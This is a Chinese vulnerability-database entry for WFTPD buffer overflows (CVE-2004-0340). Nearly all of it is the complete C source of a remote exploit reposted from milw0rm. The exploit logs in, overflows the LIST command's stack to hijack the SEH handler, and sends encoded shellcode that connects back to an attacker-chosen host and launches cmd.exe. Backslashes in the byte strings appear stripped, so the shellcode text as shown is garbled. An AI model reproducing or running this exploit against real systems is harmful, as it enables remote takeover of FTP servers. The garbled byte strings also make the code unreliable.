WFTPD多个安全漏洞

WFTPD多个安全漏洞

漏洞ID 1107757 漏洞类型 未知
发布时间 2004-02-29 更新时间 2005-10-20
图片[1]-WFTPD多个安全漏洞-安全小百科CVE编号 CVE-2004-0340
图片[2]-WFTPD多个安全漏洞-安全小百科CNNVD-ID CNNVD-200411-059
漏洞平台 Windows CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/159
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200411-059
|漏洞详情
WFTPD是Windows平台下的FTP服务程序。WFTPD包含多个漏洞,远程攻击者可以利用这些漏洞进行缓冲区溢出,或拒绝服务攻击。WFTPD在处理命令缓冲区分配时存在问题,提交特殊请求可使WFTPD分配过多的内存,而导致拒绝服务攻击。另外存在基于堆栈的缓冲区溢出。问题存在于FTP命令LIST,NLST和STAT的实现中。要利用这个漏洞,攻击者必须以合法用户验证,并且需要注册表中的Secure选项设置为0。由于程序对防止缓冲区溢出检查中存在一个逻辑错误,写超长字符串到本地缓冲区,可破坏进程的堆栈信息,可能以WFTPD进程权限在系统上执行任意指令。
|漏洞EXP
/*
* WFTPD buffer overflow exploit, (c) axl 2004, [email protected]
* Discovered by the very same guy :p
*
* Tested WFTPD versions:
*
* - WFTPD Pro Server 3.21 Release 1 (trial) (latest version)
* - WFTPD Pro Server 3.20 Release 2 (trial)
* - WFTPD Server 3.21 Release 1 (trial) (latest version)
* - WFTPD Server 3.10 Release 1 (trial)
*
* Tested exploit with these remote operating systems:
*
* - Windows XP Pro, SP1
*
* Should be very easy to support other Windows OSes. You may only have
* to update ret_addr.
*/

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <windows.h>
#include <stdio.h>

#define MAXLINE 0x1000

//#define OLDCODE // Try not to uncomment this...

#ifdef OLDCODE
static char* ret_addr = "xACx9CxECx77"; 
// kernel32.dll 5.1.2600.1106, (WinXP Pro SP1, EN) => pop reg / pop reg / ret
#else
/* See the comment in exploit() for the reasons I chose this address */
static char* ret_addr = "x5BxC0xEBx77"; 
// kernel32.dll 5.1.2600.1106, (WinXP Pro SP1, EN) => pop reg / pop reg / ret
#endif

const unsigned int shlc_offs_enckey = 0x00000025;
const unsigned int shlc_offs_encstart = 0x0000002B;
const unsigned int shlc_offs_encend = 0x000001B8;
unsigned char shlc_code[] =
"xEBx16x78x56x34x12x78x56x34x12x78x56x34x12x78x56"
"x34x12x5Bx53x83xEBx1DxC3xE8xF5xFFxFFxFFx33xC9xB1"
"x64x81x74x8Bx27x55x55x55x55xE2xF6xFCx8Bx43x0Ax31"
"x43x02x8Bx43x0Ex31x43x06x89x4Bx0Ax89x4Bx0Ex64x8B"
"x35x30x00x00x00x8Bx76x0Cx8Bx76x1CxADx8Bx68x08x8D"
"x83x67x01x00x00x55xE8xB7x00x00x00x68x33x32x00x00"
"x68x77x73x32x5Fx54xFFxD0x96x8Dx83x74x01x00x00x56"
"xE8x9Dx00x00x00x81xECx90x01x00x00x54x68x01x01x00"
"x00xFFxD0x8Dx83x7Fx01x00x00x56xE8x83x00x00x00x33"
"xC9x51x51x51x6Ax06x6Ax01x6Ax02xFFxD0x97x8Dx83x8A"
"x01x00x00x56xE8x69x00x00x00x33xC9x51x51x51x51x6A"
"x10x8Dx4Bx02x51x57xFFxD0xB9x54x00x00x00x2BxE1x88"
"x6Cx0CxFFxE2xFAxC6x44x24x10x44x41x88x4Cx24x3Cx88"
"x4Cx24x3Dx89x7Cx24x48x89x7Cx24x4Cx89x7Cx24x50x49"
"x8Dx44x24x10x54x50x51x51x51x6Ax01x51x51x8Dx83xA4"
"x01x00x00x50x51x8Dx83x95x01x00x00x55xE8x11x00x00"
"x00x59xFFxD0x8Dx83xACx01x00x00x55xE8x02x00x00x00"
"xFFxD0x60x8Bx7Cx24x24x8Dx6Fx78x03x6Fx3Cx8Bx6Dx00"
"x03xEFx83xC9xFFx41x3Bx4Dx18x72x0Bx64x89x0Dx00x00"
"x00x00x8BxE1xFFxE4x8Bx5Dx20x03xDFx8Bx1Cx8Bx03xDF"
"x8Bx74x24x1CxACx38x03x75xDCx43x84xC0x75xF6x8Bx5D"
"x24x03xDFx0FxB7x0Cx4Bx8Bx5Dx1Cx03xDFx8Bx0Cx8Bx03"
"xCFx89x4Cx24x1Cx61xC3x4Cx6Fx61x64x4Cx69x62x72x61"
"x72x79x41x00x57x53x41x53x74x61x72x74x75x70x00x57"
"x53x41x53x6Fx63x6Bx65x74x41x00x57x53x41x43x6Fx6E"
"x6Ex65x63x74x00x43x72x65x61x74x65x50x72x6Fx63x65"
"x73x73x41x00x63x6Dx64x2Ex65x78x65x00x45x78x69x74"
"x50x72x6Fx63x65x73x73x00";

static char inbuf[MAXLINE];
static unsigned inoffs = 0;

const WFTPD_PRO_321_TRIAL = 0; // WFTPD Pro Server 3.21 Release 1 (trial)
const WFTPD_PRO_320_TRIAL = 1; // WFTPD Pro Server 3.20 Release 2 (trial)
const WFTPD_321_TRIAL = 2; // WFTPD Server 3.21 Release 1 (trial)
const WFTPD_310_TRIAL = 3; // WFTPD Server 3.10 Release 1 (trial)
int ftpver = WFTPD_PRO_321_TRIAL;

int isrd(SOCKET s)
{
fd_set r;
FD_ZERO(&r);
FD_SET(s, &r);
timeval t = {0, 0};
int ret = select(1, &r, NULL, NULL, &t);
if (ret < 0)
return 0;
else
return ret != 0;
}

int get_line(SOCKET s, char* string, unsigned len)
{
char* nl;
while ((nl = (char*)memchr(inbuf, 'n', inoffs)) == NULL)
{
if (inoffs >= sizeof(inbuf))
{
printf("[-] Too long linen");
return 0;
}
int len = recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
if (len <= 0)
{
printf("[-] Error receiving datan");
return 0;
}

inoffs += len;
}

unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf);
if (nlidx >= len)
{
printf("[-] Too small caller buffern");
return 0;
}
memcpy(string, inbuf, nlidx);
string[nlidx] = 0;
if (nlidx > 0 && string[nlidx-1] == 'r')
string[nlidx-1] = 0;

if (nlidx + 1 >= inoffs)
inoffs = 0;
else
{
memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
inoffs -= nlidx + 1;
}

return 1;
}

int ignorerd(SOCKET s)
{
inoffs = 0;

while (1)
{
if (!isrd(s))
return 1;
if (recv(s, inbuf, sizeof(inbuf), 0) < 0)
return 0;
}
}

int get_reply_code(SOCKET s)
{
char line[MAXLINE];

if (!get_line(s, line, sizeof(line)))
{
printf("[-] Could not get status coden");
return -1;
}

char c = line[3];
line[3] = 0;
int code;
if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line)))
{
printf("[-] Weird replyn");
return -1;
}

char endline[4];
memcpy(endline, line, 3);
endline[3] = ' ';
if (c == '-')
{
while (1)
{
if (!get_line(s, line, sizeof(line)))
{
printf("[-] Could not get next linen");
return -1;
}
if (!memcmp(line, endline, sizeof(endline)))
break;
}
}

return code;
}

int sendb(SOCKET s, const char* buf, int len, int flags)
{
while (len)
{
int l = send(s, buf, len, flags);
if (l <= 0)
break;
len -= l;
buf += l;
}

return len == 0;
}

int sends(SOCKET s, const char* buf, int flags)
{
return sendb(s, buf, (int)strlen(buf), flags);
}

int is_valid_char(char c)
{
return c != 0 && c != 'n' && c != ' ';
}

int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int srclen)
{
if (dstoffs + srclen > dstlen || dstoffs + srclen < dstoffs)
{
printf("[-] Buffer overflow ;)n");
return 0;
}

memcpy((char*)dst+dstoffs, src, srclen);
dstoffs += srclen;
return 1;
}

int check_invd_bytes(const char* name, const void* buf, int buflen)
{
const char* b = (const char*)buf;

for (int i = 0; i < buflen; i++)
{
if (!is_valid_char(b[i]))
{
printf("[-] %s[%u] (%02X) cannot contain bytes 00h, 0Ah, or 20hn", name, i, b[i]);
return 0;
}
}

return 1;
}

int enc_byte(char& c, char& k)
{
for (int i = 0; i < 0x100; i++)
{
if (!is_valid_char(c ^ i) || !is_valid_char(i))
continue;

c ^= i;
k = i;
return 1;
}

printf("[-] Could not find encryption key for byte %02Xn", c);
return 0;
}

int get_enc_key(char* buf, int size, int offs, int step)
{
for (int i = 0; i < 0x100; i++)
{
if (!is_valid_char(i))
continue;

for (int j = offs; j < size; j += step)
{
if (!is_valid_char(buf[j] ^ i))
break;
}
if (j < size)
continue;

return i;
}

printf("[-] Could not find an encryption keyn");
return -1;
}

int exploit(SOCKET s, unsigned long sip, unsigned short sport)
{
printf("[+] Trying buffer overflow + using SEH handlern");

int ret = 0;

char* shellcode = NULL;
__try
{
shellcode = new char[sizeof(shlc_code)-1];
memcpy(shellcode, shlc_code, sizeof(shlc_code)-1);

shellcode[2] = (char)AF_INET;
shellcode[3] = (char)(AF_INET >> 8);
shellcode[4] = (char)(sport >> 8);
shellcode[5] = (char)sport;
shellcode[6] = (char)(sip >> 24);
shellcode[7] = (char)(sip >> 16);
shellcode[8] = (char)(sip >> 8);
shellcode[9] = (char)sip;
for (int i = 0; i < 8; i++)
{
if (!enc_byte(shellcode[2+i], shellcode[2+8+i]))
__leave;
}

for (int i = 0; i < 4; i++)
{
int k = get_enc_key(&shellcode[shlc_offs_encstart], shlc_offs_encend-shlc_offs_encstart, i, 4);
if (k < 0)
__leave;
shellcode[shlc_offs_enckey+i] = k;
}
printf("[+] Shellcode encryption key = %02X%02X%02X%02Xn", shellcode[shlc_offs_enckey+3],
shellcode[shlc_offs_enckey+2], shellcode[shlc_offs_enckey+1], shellcode[shlc_offs_enckey]);
for (int i = 0; i < shlc_offs_encend-shlc_offs_encstart; i++)
shellcode[shlc_offs_encstart+i] ^= shellcode[shlc_offs_enckey + i % 4];

if (!ignorerd(s))
__leave;

char sndbuf[0x1000];
int sndbufidx = 0;
char* badval = "x01xFFx02xFE";
const char* ftp_cmd = "LIST -";
if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ftp_cmd, (int)strlen(ftp_cmd))) // req
__leave;
switch (ftpver)
{
#ifdef OLDCODE
case WFTPD_310_TRIAL: // doesn't save EBP on the stack
case WFTPD_321_TRIAL: // doesn't save EBP on the stack
case WFTPD_PRO_320_TRIAL:
if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "-WFTPD_EXPLOIT_BY_AXL_(C)_2004-", 31) || // 31-byte string
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "x90x90xEBx28", 4) || // old fs:[0]
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ret_addr, 4) || // exception handler
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // trylevel
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // old EBP
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // ret addr
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg1
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg2
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg3
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg4
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg5
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4)) // arg6
__leave;
break;

case WFTPD_PRO_321_TRIAL:
default:
if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "-WFTPD_EXPLOIT_BY_AXL_(C)_2004-", 31) || // 31-byte string
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // cookie
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "x90x90xEBx28", 4) || // old fs:[0]
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ret_addr, 4) || // exception handler
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // trylevel
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // old EBP
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // ret addr
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg1
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg2
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg3
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg4
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) || // arg5
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4)) // arg6
__leave;
break;
#else
case WFTPD_310_TRIAL: // doesn't save EBP on the stack
case WFTPD_321_TRIAL: // doesn't save EBP on the stack
case WFTPD_PRO_320_TRIAL:
case WFTPD_PRO_321_TRIAL: // pushes a cookie after old fs:[0]
default:
/*
* WFTPD Pro Server 3.21 saves a cookie so that the stack layout isn't the same as the
* other versions. However, with the right exception address, we can make it work.
* 77EBC05B = kernel32.dll => POP REG / POP REG / RET. This is the exception handler
* the older versions will execute. WFTPD Pro Server 3.21 will instead execute the
* instructions with the bytes in that same address. In this case, it'll execute these
* instructions:
* 5B POP EBX
* C0EB 77 SHR BL,77
* 5B POP EBX
* C0EB 77 SHR BL,77
* EB 1E JMP SHORT ourcode
*/
if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "-WFTPD_EXPLOIT_BY_AXL_(C)_2004-", 31) || // 31-byte string
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "x90x90xEBx28", 4) || // old fs:[0] OR cookie (p321)
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ret_addr, 4) || // exception handler OR old fs:[0] (p321)
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), ret_addr, 4) || // trylevel OR exception handler (p321)
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), "xEBx1ExFExFF", 4) || // (p321)
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4) ||
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), badval, 4))
__leave;
break;
#endif
}
if (!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), shellcode, sizeof(shlc_code)-1) || // our code
!add_bytes(sndbuf, sndbufidx, sizeof(sndbuf), " rn", 3)) // req + end of line
__leave;

if (!check_invd_bytes("shellcode", shellcode, sizeof(shlc_code)-1) ||
!check_invd_bytes("ret_addr", ret_addr, sizeof(ret_addr)-1) ||
!check_invd_bytes("sndbuf", sndbuf+5, sndbufidx-3-5))
__leave;

in_addr a; a.s_addr = htonl(sip);
printf("[+] Sending shellcode which will connect to %s:%u...n", inet_ntoa(a), sport);
if (!sendb(s, sndbuf, sndbufidx, 0))
{
printf("[-] Failed to send shellcoden");
__leave;
}
printf("[+] Shellcode sent successfullyn");

ret = 1;
}
__finally
{
delete shellcode;
}

if (ret == 0)
printf("[-] Can't exploit the vulnerabilityn");

return ret;
}

int login(SOCKET s, const char* username, const char* userpass)
{
printf("[+] Logging in...n");
int code;
if (!ignorerd(s) || !sends(s, "USER ", 0) || !sends(s, username, 0) ||
!sends(s, "rn", 0) || (code = get_reply_code(s)) < 0)
{
printf("[-] Failed to log in #1n");
return 0;
}

if (code == 331)
{
if (!sends(s, "PASS ", 0) || !sends(s, userpass, 0) ||
!sends(s, "rn", 0) || (code = get_reply_code(s)) < 0)
{
printf("[-] Failed to log in #2n");
return 0;
}
}

if (code != 230)
{
printf("[-] Failed to log in. Code %3un", code);
return 0;
}

printf("[+] Logged inn");
return 1;
}

void show_help(char* pname)
{
printf("%s <ip> <port> <sip> <sport> [-u username] [-p userpass] [-v <p321|p320|321|310>]n", pname);
exit(1);
}

int main(int argc, char** argv)
{
printf("WFTPD <= v3.21r1 buffer overflow exploit, (c) axl 2004, [email protected]");

WSADATA wsa;
if (WSAStartup(0x0202, &wsa))
return 1;

if (argc < 5)
show_help(argv[0]);

unsigned long ip = ntohl(inet_addr(argv[1]));
unsigned short port = (unsigned short)atoi(argv[2]);
unsigned long sip = ntohl(inet_addr(argv[3]));
unsigned short sport = (unsigned short)atoi(argv[4]);
const char* username = "anonymous";
const char* userpass = "axl";

for (int i = 5; i < argc; i++)
{
if (!strcmp(argv[i], "-u") && i + 1 < argc)
{
username = argv[++i];
}
else if (!strcmp(argv[i], "-p") && i + 1 < argc)
{
userpass = argv[++i];
}
else if (!strcmp(argv[i], "-v") && i + 1 < argc)
{
if (!stricmp(argv[i+1], "p321"))
ftpver = WFTPD_PRO_321_TRIAL;
else if (!stricmp(argv[i+1], "p320"))
ftpver = WFTPD_PRO_320_TRIAL;
else if (!stricmp(argv[i+1], "321"))
ftpver = WFTPD_321_TRIAL;
else if (!stricmp(argv[i+1], "310"))
ftpver = WFTPD_310_TRIAL;
else
show_help(argv[0]);
i++;
}
else
show_help(argv[0]);
}

if (!ip || !port || !sip || !sport)
show_help(argv[0]);

sockaddr_in saddr;
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(port);
saddr.sin_addr.s_addr = htonl(ip);

SOCKET s = INVALID_SOCKET;
__try
{
in_addr a; a.s_addr = htonl(ip);
printf("[+] Connecting to %s:%u...n", inet_ntoa(a), port);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0 || connect(s, (sockaddr*)&saddr, sizeof(saddr)) < 0)
{
printf("[-] Could not connectn");
__leave;
}
printf("[+] Connectedn");

int code = get_reply_code(s);
if (code != 220)
{
printf("[-] Got reply %3un", code);
__leave;
}
if (!login(s, username, userpass))
__leave;

if (!exploit(s, sip, sport))
printf("[-] Lucky bastards...n");
else
printf("[+] Santa's watching you!n");
}
__finally
{
if (s != INVALID_SOCKET)
closesocket(s);
}

return 0;
}


// milw0rm.com [2004-02-29]
|参考资料

来源:BID
名称:9767
链接:http://www.securityfocus.com/bid/9767
来源:XF
名称:wftpd-ftp-commands-bo(15340)
链接:http://xforce.iss.net/xforce/xfdb/15340
来源:BUGTRAQ
名称:20040228CriticalWFTPDbufferoverflowvulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=107801208004699&w;=2
来源:SECUNIA
名称:11001
链接:http://secunia.com/advisories/11001

相关推荐: Mandrake Linux漏洞

Mandrake Linux漏洞 漏洞ID 1205079 漏洞类型 未知 发布时间 2001-11-30 更新时间 2001-11-30 CVE编号 CVE-2001-0912 CNNVD-ID CNNVD-200111-058 漏洞平台 N/A CVSS评…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享